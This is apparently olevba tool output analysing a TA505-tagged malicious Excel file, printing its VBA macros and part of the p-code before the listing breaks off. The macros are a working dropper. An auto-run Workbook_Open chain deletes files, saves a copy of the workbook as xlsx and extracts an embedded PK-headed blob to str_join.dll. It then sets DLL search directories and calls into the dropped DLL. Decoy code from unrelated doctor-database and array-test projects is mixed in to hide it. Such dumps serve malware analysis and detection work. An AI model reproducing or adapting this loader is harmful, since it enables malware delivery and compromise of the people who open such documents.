TA505_31c814a850714de8d7da8e37963d6d898bde623eb95e604885b23c84d9595df1_analysis

#TA505 #olevba #macro

olevba 0.55.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: cab524a78050a7c2263ca915604db302.in
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
If WelcomeDialog.Visible = True Then
Exit Sub
End If

Module5.RedButton 19999
End Sub

-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Worksheet_SelectionChange(ByVal target As Range)

End Sub
-------------------------------------------------------------------------------
VBA MACRO Page11.cls
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Page11'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Lumene.cls
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Lumene'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Dim vSpeed As Integer
Dim vLicensePlate As String

Public Property Get Speed() As Integer
    Speed = vSpeed
End Property


Public Property Get CheckCar(car As Variant, Drive As String)
CheckCar = car.SpecialFolders("" & Drive)

End Property
Public Property Get SpecialFolders() As String
    LicensePlate = vLicensePlate
End Property

Public Property Let LicensePlate(lp As String)
    If Len(lp) <> 6 Then Err.Raise (xlErrValue)
    vLicensePlate = lp
End Property



-------------------------------------------------------------------------------
VBA MACRO WelcomeDialog.frm
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/WelcomeDialog'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private Sub UserForm_Activate()
DoEvents
DoEvents
ExChangeMoney
DoEvents
End Sub




-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Public HurricanMoes() As Byte
Public PatchForLuck As Byte
Public LUCKY As Double
Public MoveStep As Byte
Public PatchForHeart As Byte




#If VBA7 And Win64 Then
    Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
    Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
    Public Declare PtrSafe Function torx Lib "str_join2.dll" () As Integer
 #Else
    Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
    Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
    Public Declare Function torx Lib "str_join1.dll" () As Integer
#End If



Public Sub VistaQ(WhereToGo)
 DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        DoEvents
        ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
    DoEvents
    DoEvents
    ActiveWorkbook.Close
DoEvents
    DoEvents


End Sub





Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
    On Error Resume Next
    For Each Key In putArrayBigList
        Kill Key
    Next Key
End Sub





Private Sub TextBox2_Change()

x = Len(TextBox2)
Y = LTrim(TextBox2.Text)
d = TextBox2
If d = "" Then
TextBox2.BackColor = &HFFFFFF
Exit Sub
End If
If Left(d, 2) > 24 Then
MsgBox "Ora Errata"
TextBox2.SelStart = 0
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If
If x = 2 Then TextBox2 = Y & ":"
If x = 4 Then Exit Sub

If Mid(d, 4, 2) = "" Then Exit Sub
If Mid(d, 4, 2) > 59 Then
MsgBox "Minuti Errati"
TextBox2.SelStart = 3
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If


If x = 5 Then
TextBox3.SetFocus
End If
Exit Sub

Resume
End Sub

Public Function ExChangeMoney()


   Dim ofbl As String
    Dim sOfbl As String
     Dim NumBForRead As Long


    dershlep = "" & Form0.TextBox1.Tag



Dim sendings As Integer
ofbl = Form0.TextBox1.Tag
ofbl = ofbl + "\str_join"

 liquidOne = Form0.TextBox1.Tag + "\academ"

 liquidOne = liquidOne + "l.xlsx"

         Dim arr(1 To 3) As String




   If LenB(Form0.TextBox3.Text) > 200 Then
        MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
        TextBox7.SelStart = 0
    Else


    End If
        Dim objeto As Control

    If Len(Form0.TextBox1.Text) > 366 Then
        For Each objeto In UserForm1.Controls
            On Error Resume Next
            objeto.Value = ""
        Next

        Unload ggg.UserForm1
        ggg.UserForm1.Hide
    End If



ctackPip = liquidOne & Page11.Range("B115").Value




            sOfbl = ofbl + Page11.Range("B115").Value
 PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep + UserForm1.Label1.Tag


  VistaQ liquidOne

        FileCopy Source:=liquidOne, Destination:=ctackPip
         sendings = 1
         Dim sNMSP As New Shell
         FlagDouble = False

         Lrigat = UserForm1.Label11.Tag

        If sendings > -15 And sendings > -130 Then

            Set DestinationKat = sNMSP.Namespace(dershlep)
            Set harvest = sNMSP.Namespace(ctackPip)


        End If


Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application



DestinationKat.CopyHere harvest.Items.Item(Lrigat)



Dim car As Lumene

Set car = New Lumene

NumBForRead = 445766


      sendings = 1
            flayString = "1"



      Composition dershlep + "" + UserForm1.Label1.Tag + "" + "", sOfbl, NumBForRead

        If sendings < 100 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If

        If sendings > -15 And sendings > -130 Then

            Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
            Set harvest = sNMSP.Namespace(sOfbl)

            DestinationKat.CopyHere harvest.Items


        End If

        If -100 <= sendings Then
            sendings = sendings + 1
            ChDir Form0.TextBox3.Tag
            sendings = sendings + 1
        End If
        sOfbl = """" + sOfbl & ""","""

        If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If


        If sendings > 1000 Then
            sendings = sendings - 20
        End If
        If sendings < -47 Then
            sendings = sendings - 20
        End If
      If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
    StopByOk = TestResult(d)


 setDLLDirectory Form0.TextBox3.Tag
        torx
   WelcomeDialog.Hide
End Function


Sub subTotalSales()

    Dim LR As Integer
    LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
    Rows("1:2").EntireRow.Insert Shift:=xlDown

    If LR = 3 Then
        Range("A1").Select
        Call salesHeade.rs
        Range("A2").Formula = "$0"
        Range("B2").Formula = "$0"
        Range("C2").Formula = "$0"
        Range("D2").Formula = "$0"
        Range("E2").Formula = "$0"
        Range("F2").Formula = "0%"
        Range("G2").Formula = "0"
        Range("H2").Formula = "$0"
        Range("I2").Formula = "0"
        Range("J2").Formula = "0"
        Range("K2").Formula = "$0"
        Range("L2").Formula = "$0"
        Range("M2").Formula = "0"
        Range("N2").Formula = "0%"
    Else
        Range("A1").Select
        Call salesHeade.rs
        With ActiveSheet

        End With
    End If

End Sub


Sub InputWeekData(x As Date)

    ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x + 6
    ActiveCell.Offset(0, 1).Select

End Sub
Private Sub TextBox3_Change()

Y = LTrim(TextBox3.Text)
d = TextBox3

If x = 5 Then
TextBox4.SetFocus
End If

End Sub
















-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Public Const FirstB As Byte = 80
 Public Const SecondB As Byte = 75
 Public Const ThirdB As Byte = 3
 Public Const FourthB As Byte = 4
Public Sub GetParam(Count As Integer)
    Dim I As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For I = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, I, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        ElseIf Not tooolsetChunkQ Then
            If C = " " Then
                j = j + 1
            End If
        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " ccc" Then

            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next I
End Sub





Public Sub setDLLDirectory(ByVal targetDir As String)


    Dim b As Byte
    Dim p As Long

     code2 (&H1000)
     code1 (StrConv(targetDir, vbUnicode))
End Sub

Public Sub GetParam3(Count As Integer)
    Dim I As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For I = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, I, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If

        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " " Then
                tooolsetChunkI = True
            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next I
End Sub






Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
 Dim PChannel As Long
  Dim logicVari As Integer
 Dim SimpleMethod As Integer
 ReDim HurricanMoes(1 To fl)
 PChannel = FreeFile
 Open Composition2 For Binary Access Read As PChannel
HurricanMoes(1) = FirstB

 HurricanMoes(2) = SecondB
 HurricanMoes(3) = ThirdB
 HurricanMoes(4) = FourthB
 logicVari = 1
Do While Not EOF(PChannel)
 Get PChannel, , MoveStep
 If MoveStep = FirstB Then

 Get PChannel, , PatchForHeart
 If PatchForHeart = SecondB Then

 Get PChannel, , PatchForLuck
 If PatchForLuck = ThirdB Then
  Get PChannel, , PatchForLuck
 If PatchForLuck = FourthB Then
 For k = 5 To fl
 Get PChannel, , MoveStep
 HurricanMoes(k) = MoveStep
 Next k
 Exit Do

 End If
 End If
 End If
 End If
 Loop
 On Error Resume Next
 PublicationChannel = 1892
 Close PChannel
 PublicationChannel = 1892 + PublicationChannel
 PChannel = FreeFile
 PublicationChannel = 1892 + PublicationChannel
 Open ofbl For Binary Lock Read Write As #PChannel
 PublicationChannel = 1892 + PublicationChannel
 zeroBob = 1
 For I = zeroBob To UBound(HurricanMoes)

 If WelcomeDialog.Enabled = True Then

    Put #PChannel, , HurricanMoes(I)
 End If
 Next I
 Close PChannel
 PChannel = FreeFile
 For HSP = 33 To -1 Step -0.25
 PChannel = 6 + I
 Next HSP
 PChannel = 6 + I
End Sub




Private Sub cmd_Keluar_Click()
Unload LSD.Me
MDIForm1.dokter.Enabled = True
MDIForm1.dokter.Checked = False
End Sub

Private Sub cmd_Perbaiki_Click()
If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
   cmd_Simpan.Enabled = False
   cmd_Hapus.Enabled = False
   cmd_Batal.Enabled = True
   Dim var As String
   var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
   If var = Empty Then Exit Sub
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         txtkd_dok.Enabled = False
         txtnm_dok.Enabled = True
         cmd_Perbaiki.Caption = "&Perbaharui data"
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
Else
Data1.Recordset.Edit
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Perbaiki.Caption = "Pe&rbaiki"
cmd_Batal.Enabled = False
cmd_Simpan.Enabled = True
cmd_Hapus.Enabled = True
Call tdk_bi.sa
End If
End Sub

Private Sub cmd_Simpan_Click()
If cmd_Simpan.Caption = "&Isi Data" Then
Call bis.A
nom.Or
M.e.txtnm_dok.SetFocus
cmd_Batal.Enabled = True
cmd_Perbaiki.Enabled = False
cmd_Hapus.Enabled = False
cmd_cari.Enabled = False
cmd_Simpan.Caption = "&Simpan Data"
Else
If txtkd_dok.Text = "" Or _
        txtnm_dok.Text = "" Then
        MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
        txtkd_dok.SetFocus
        Else
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Simpan.Caption = "&Isi Data"
End If
End If
End Sub



Function retVal(ByVal v As Variant) As Variant
    If v <> 0 Then
        retVal = v
    Else
        retVal = ""
    End If

End Function

Function getFile() As String()
    Dim s As String
    Dim sl(1000) As String
    Dim r As Range
    Dim I As Integer
    Erase sl
    I = 0
    For Each r In Worksheets("Sheet1").Range("B1:B100")
        s = r.Value
        If s <> "" Then
            I = I + 1
            sl(I) = s
        End If
    Next r
    getFile = sl()
End Function



Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, _
Optional CaseCompare, _
Optional RegExp As Object = Nothing, _
Optional Match As Object = Nothing) As Boolean

On Error GoTo Err:
    Dim result As Boolean
    result = False
    Do
        If (MatchWord = "") Or (Text = "") Then Exit Do

        Dim RegCreateFlag As Boolean
        RegCreateFlag = False
        If RegExp Is Nothing Then
            RegCreateFlag = True
            Set RegExp = CreateObject("VBScript.RegExp")
        End If

        RegExp.Pattern = MatchWord
        RegExp.Global = True
        RegExp.IgnoreCase = CaseCompare = IgnoreCase
        Set Match = RegExp.Execute(Text)
        If 1 <= Match.Count Then
            result = True
        End If

        If RegCreateFlag Then
            Set RegExp = Nothing
        End If

    Loop While False
    MatchRegExp = result
    Exit Function
Err:
    MatchRegExp = False
End Function
Private Sub testArrayAddArray()
    Dim A1()
    A1 = Array("A", "B", "C")
    Dim A2()
    A2 = Array("D", "E")

    Call ArrayA.ddArray(A1, A2)
    Call Check(5, ArrayC.ount(A1))
    Call Check("D", A1(3))
    Call Check("E", A1(4))

    '???????????
    Dim B1()
    Dim B2()
    B2 = Array("1", "2")
    Call ArrayA.ddArray(B1, B2)
    Call Check(2, ArrayC.ount(B1))
    Call Check("1", B1(0))
    Call Check("2", B1(1))


End Sub
Sub ArrayInsert(ByRef ArrayValue As Variant, _
ByVal Index As Long, ByVal Value As Variant)
    Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
    Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)), _
        "Error:ArrayInsert:Index Range Over.")

    ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
    Dim I As Long
    For I = UBound(ArrayValue) To Index + 1 Step -1
        Call SetValue(ArrayValue(I), ArrayValue(I - 1))
    Next
    Call SetValue(ArrayValue(Index), Value)
End Sub
Public Function InRange( _
ByVal MinValue As Long, _
ByVal Value As Long, _
ByVal MaxValue As Long) As Boolean

    InRange = ((MinValue <= Value) And (Value <= MaxValue))

End Function
Private Sub testArrayInsert()
    Dim A
    A = Array("A", "B", "C")

    Call Check("B", A(1))
    Call Check(3, ArrayCount(A))
    Call ArrayInsert(A, 1, "1")
    Call Check(4, ArrayCount(A))
    Call Check("1", A(1))

    Dim b()
    ReDim b(2)
    Set b(0) = CreateObject("VBScript.RegExp")
    Set b(2) = Nothing
    Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
    Call ArrayInsert(b, 1, fso)
    Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
End Sub
Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
    If Value = False Then
        Call Err.Raise(9999, , Message)
    End If
End Sub
Public Sub SetValue(ByRef Variable, ByVal Value)
    If IsObject(Value) Then
        Set Variable = Value
    Else
        Variable = Value
    End If
End Sub
Public Function ArrayCount(ByRef ArrayValue As Variant, _
Optional Dimension = 1) As Long
    Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")

    ArrayCount = _
        UBoundNo.Error(ArrayValue, Dimension) - _
        LBoundNo.Error(ArrayValue, Dimension) + 1
End Function
Private Sub testAssert()
    Call Assert(False, "???")
End Sub

Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
    Check = (A = b)
    If Check = False Then
        Call MsgBox("A != B" + vbCrLf + _
            "A = " + CStr(A) + vbCrLf + _
            "B = " + CStr(b))
    End If
End Function













-------------------------------------------------------------------------------
VBA MACRO UserForm1.frm
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module5.bas
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Module5'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function RedButton(dImmer As Double)

  DosTres = "DosTres"

If WelcomeDialog.Visible <> False Then
Exit Function
End If
    reqPlace = 3
    reqPlace = reqPlace - 1

Set car = New Lumene
    Set TSPIP = New IWshRuntimeLibrary.WshShell
    Select Case reqPlace
    Case 0
        s = "N health problems"
    Case 1
        s = "Minor health problems"

    Case 3
        s = "Sev ere disability"
    End Select

    Dim SpecialPath As String

PRP = "%" & Form0.TextBox1.Tag



TBT = PRP
TBT = TBT + "" + ""
TBT = TBT + "%"
TBT = TSPIP.ExpandEnvironmentStrings(TBT)

  firstWeek = 0
     firstDay = 0
     Dim firstdate As Date
Form0.TextBox1.Tag = TBT
  firstDay = 2

    lastDay = 4
    Dim lastdate As Date
     lastWeek = 0
     lastDay = 0

      s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
    firstWeek = 1

    lastWeek = 3
 Form0.TextBox3.Tag = s


    If Not firstDay = 1 Then
        firstdate = firstdate + (8 - firstDay)
        firstWeek = firstWeek + 1
    End If
    If lastDay = 6 Then
        lastdate = lastdate + 1
        lastDay = lastDay + 1
    ElseIf Not lastDay = 7 Then
        lastdate = lastdate - lastDay
        lastDay = 7
        lastWeek = lastWeek - 1
    End If


     Iteration = 0


ChDir (Form0.TextBox1.Tag + "")
If WelcomeDialog.Visible = False Then
WelcomeDialog.Show
End If

End Function







Private Sub Command7_Click()
 b = MsgBox("?????????", vbYesNo)
 If b = vbYes Then
  A = "delete from cinema where cinid='"
  A = A + Text1.Text + "'"
  cnmovie.Execute A
  rs4.Close
  Sql = "select * from cinema"
  rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
     If rs.BOF Or rs.EOF Then
       MsgBox "?????!"
     Else
       rs4.MoveFirst
     Call View.Data
   End If
 End If
End Sub




Private Sub nomor()
Dim urutan As String * 5
Dim hitung As Byte

    If Data1.Recordset.RecordCount = 0 Then
        urutan = "Dr" & "001"
    Else
        Data1.Recordset.MoveLast
        If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
            urutan = "00" & "001"
        Else
        hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
        urutan = "Dr" & Right("000" & hitung, 3)
    End If
    End If
    M.e.txtkd_dok = urutan

End Sub

Private Sub cmd_Batal_Click()
Call be.rsih
Call td.k_bisa
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
End Sub

Private Sub cmd_cari_Click()
Dim var As String
var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
If var = Empty Then Exit Sub
   If var <> "" Then
      Data1.Recordset.Index = "kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         Call bi.sa
         Call kun.ci
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
   End If
End Sub



Public Function TestResult(result As Variant)
TestResult = False
If IsNumeric(ExcelReturn) Then
  If ExcelReturn = 0 Then
   TestResult = True
  End If
 End If
End Function
Private Sub cmd_Hapus_Click()
Dim var As String
var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
If var = Empty Then Exit Sub
   If var = "" Then
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Data1.Recordset.Delete
         Data1.Refresh
         Data1.Recordset.MoveFirst
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"

      End If
    End If
End Sub







-------------------------------------------------------------------------------
VBA MACRO Form0.frm
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet3.cls
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet2.cls
in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO VBA_P-code.txt
in file: VBA P-code - OLE stream: 'VBA P-code'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' Processing file: cab524a78050a7c2263ca915604db302.in
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1326 bytes
' Line #0:
' 	FuncDefn (Private Sub Workbook_Open())
' Line #1:
' 	Ld WelcomeDialog
' 	MemLd Visible
' 	LitVarSpecial (True)
' 	Eq
' 	IfBlock
' Line #2:
' 	ExitSub
' Line #3:
' 	EndIfBlock
' Line #4:
' Line #5:
' 	LitDI2 0x4E1F
' 	Ld Module5
' 	ArgsMemCall RedButton 0x0001
' Line #6:
' 	EndSub
' Line #7:
' _VBA_PROJECT_CUR/VBA/Sheet1 - 1215 bytes
' Line #0:
' 	FuncDefn (Private Sub Worksheet_SelectionChange(ByVal target As ))
' Line #1:
' Line #2:
' 	EndSub
' _VBA_PROJECT_CUR/VBA/Page11 - 993 bytes
' _VBA_PROJECT_CUR/VBA/Lumene - 2415 bytes
' Line #0:
' Line #1:
' 	Dim
' 	VarDefn vSpeed (As Integer)
' Line #2:
' 	Dim
' 	VarDefn vLicensePlate (As String)
' Line #3:
' Line #4:
' 	FuncDefn (Public Property Get Speed(id_FFFE As Integer) As Integer)
' Line #5:
' 	Ld vSpeed
' 	St Speed
' Line #6:
' 	EndProp
' Line #7:
' Line #8:
' Line #9:
' 	FuncDefn (Public Property Get CheckCar(car As Variant, Drive As String, id_FFFE As Variant))
' Line #10:
' 	LitStr 0x0000 ""
' 	Ld Drive
' 	Concat
' 	Ld car
' 	ArgsMemLd SpecialFolders 0x0001
' 	St CheckCar
' Line #11:
' Line #12:
' 	EndProp
' Line #13:
' 	FuncDefn (Public Property Get SpecialFolders(id_FFFE As String) As String)
' Line #14:
' 	Ld vLicensePlate
' 	St LicensePlate
' Line #15:
' 	EndProp
' Line #16:
' Line #17:
' 	FuncDefn (Public Property Let LicensePlate(lp As String))
' Line #18:
' 	Ld lp
' 	FnLen
' 	LitDI2 0x0006
' 	Ne
' 	If
' 	BoSImplicit
' 	Ld xlErrValue
' 	Paren
' 	Ld Err
' 	ArgsMemCall Raise 0x0001
' 	EndIf
' Line #19:
' 	Ld lp
' 	St vLicensePlate
' Line #20:
' 	EndProp
' Line #21:
' Line #22:
' Line #23:
' _VBA_PROJECT_CUR/VBA/WelcomeDialog - 1496 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Private Sub UserForm_Activate())
' Line #2:
' 	ArgsCall DoEvents 0x0000
' Line #3:
' 	ArgsCall DoEvents 0x0000
' Line #4:
' 	ArgsCall ExChangeMoney 0x0000
' Line #5:
' 	ArgsCall DoEvents 0x0000
' Line #6:
' 	EndSub
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' _VBA_PROJECT_CUR/VBA/Module1 - 12414 bytes
' Line #0:
' 	Dim (Public)
' 	VarDefn HurricanMoes (As Byte)
' Line #1:
' 	Dim (Public)
' 	VarDefn PatchForLuck (As Byte)
' Line #2:
' 	Dim (Public)
' 	VarDefn LUCKY (As Double)
' Line #3:
' 	Dim (Public)
' 	VarDefn MoveStep (As Byte)
' Line #4:
' 	Dim (Public)
' 	VarDefn PatchForHeart (As Byte)
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' 	LbMark
' 	Ld VBA7
' 	Ld Win64
' 	And
' 	LbIf
' Line #10:
' 	FuncDefn (Public Declare PtrSafe Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
' Line #11:
' 	FuncDefn (Public Declare PtrSafe Function code1 Lib "kernel32.dll" (ByVal dirName As String) As LongPtr)
' Line #12:
' 	FuncDefn (Public Declare PtrSafe Function torx Lib "str_join1.dll" () As Integer)
' Line #13:
' 	LbMark
' 	LbElse
' Line #14:
' 	FuncDefn (Public Declare Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
' Line #15:
' 	FuncDefn (Public Declare Function code1 Lib "kernel32.dll" (ByVal dirName As String) As Long)
' Line #16:
' 	FuncDefn (Public Declare Function torx Lib "vbUnicode" () As Integer)
' Line #17:
' 	LbMark
' 	LbEndIf
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' 	FuncDefn (Public Sub VistaQ(WhereToGo))
' Line #22:
' 	ArgsCall DoEvents 0x0000
' Line #23:
' 	Ld ThisWorkbook
' 	MemLd Sheets
' 	ArgsMemCall Copy 0x0000
' Line #24:
' 	LitVarSpecial (False)
' 	Ld Application
' 	MemSt DisplayAlerts
' Line #25:
' 	ArgsCall DoEvents 0x0000
' Line #26:
' 	Ld WhereToGo
' 	LitVarSpecial (False)
' 	ParamNamed Local
' 	LitDI2 0x0003
' 	LitDI2 0x0007
' 	Mul
' 	LitDI2 0x0003
' 	LitDI2 0x0007
' 	Mul
' 	Add
' 	LitDI2 0x0009
' 	Add
' 	ParamNamed FileFormat
' 	Ld ActiveWorkbook
' 	ArgsMemCall SaveAs 0x0003
' Line #27:
' 	ArgsCall DoEvents 0x0000
' Line #28:
' 	ArgsCall DoEvents 0x0000
' Line #29:
' 	Ld ActiveWorkbook
' 	ArgsMemCall Close 0x0000
' Line #30:
' 	ArgsCall DoEvents 0x0000
' Line #31:
' 	ArgsCall DoEvents 0x0000
' Line #32:
' Line #33:
' Line #34:
' 	EndSub
' Line #35:
' Line #36:
' Line #37:
' Line #38:
' Line #39:
' Line #40:
' 	FuncDefn (Public Sub PublicResumEraseByArrayList(putArrayBigList As ))
' Line #41:
' 	OnError (Resume Next)
' Line #42:
' 	StartForVariable
' 	Ld Key
' 	EndForVariable
' 	Ld putArrayBigList
' 	ForEach
' Line #43:
' 	Ld Key
' 	ArgsCall Kill 0x0001
' Line #44:
' 	StartForVariable
' 	Ld Key
' 	EndForVariable
' 	NextVar
' Line #45:
' 	EndSub
' Line #46:
' Line #47:
' Line #48:
' Line #49:
' Line #50:
' Line #51:
' 	FuncDefn (Private Sub TextBox2_Change())
' Line #52:
' Line #53:
' 	Ld TextBox2
' 	FnLen
' 	St x
' Line #54:
' 	Ld TextBox2
' 	MemLd Text
' 	ArgsLd LTrim 0x0001
' 	St Y
' Line #55:
' 	Ld TextBox2
' 	St d
' Line #56:
' 	Ld d
' 	LitStr 0x0000 ""
' 	Eq
' 	IfBlock
' Line #57:
' 	LitHI4 0xFFFF 0x00FF
' 	Ld TextBox2
' 	MemSt BackColor
' Line #58:
' 	ExitSub
' Line #59:
' 	EndIfBlock
' Line #60:
' 	Ld d
' 	LitDI2 0x0002
' 	ArgsLd Left 0x0002
' 	LitDI2 0x0018
' 	Gt
' 	IfBlock
' Line #61:
' 	LitStr 0x000A "Ora Errata"
' 	ArgsCall MsgBox 0x0001
' Line #62:
' 	LitDI2 0x0000
' 	Ld TextBox2
' 	MemSt SelStart
' Line #63:
' 	Ld TextBox2
' 	FnLen
' 	Ld TextBox2
' 	MemSt SelLength
' Line #64:
' 	ExitSub
' Line #65:
' 	EndIfBlock
' Line #66:
' 	Ld x
' 	LitDI2 0x0002
' 	Eq
' 	If
' 	BoSImplicit
' 	Ld Y
' 	LitStr 0x0001 ":"
' 	Concat
' 	St TextBox2
' 	EndIf
' Line #67:
' 	Ld x
' 	LitDI2 0x0004
' 	Eq
' 	If
' 	BoSImplicit
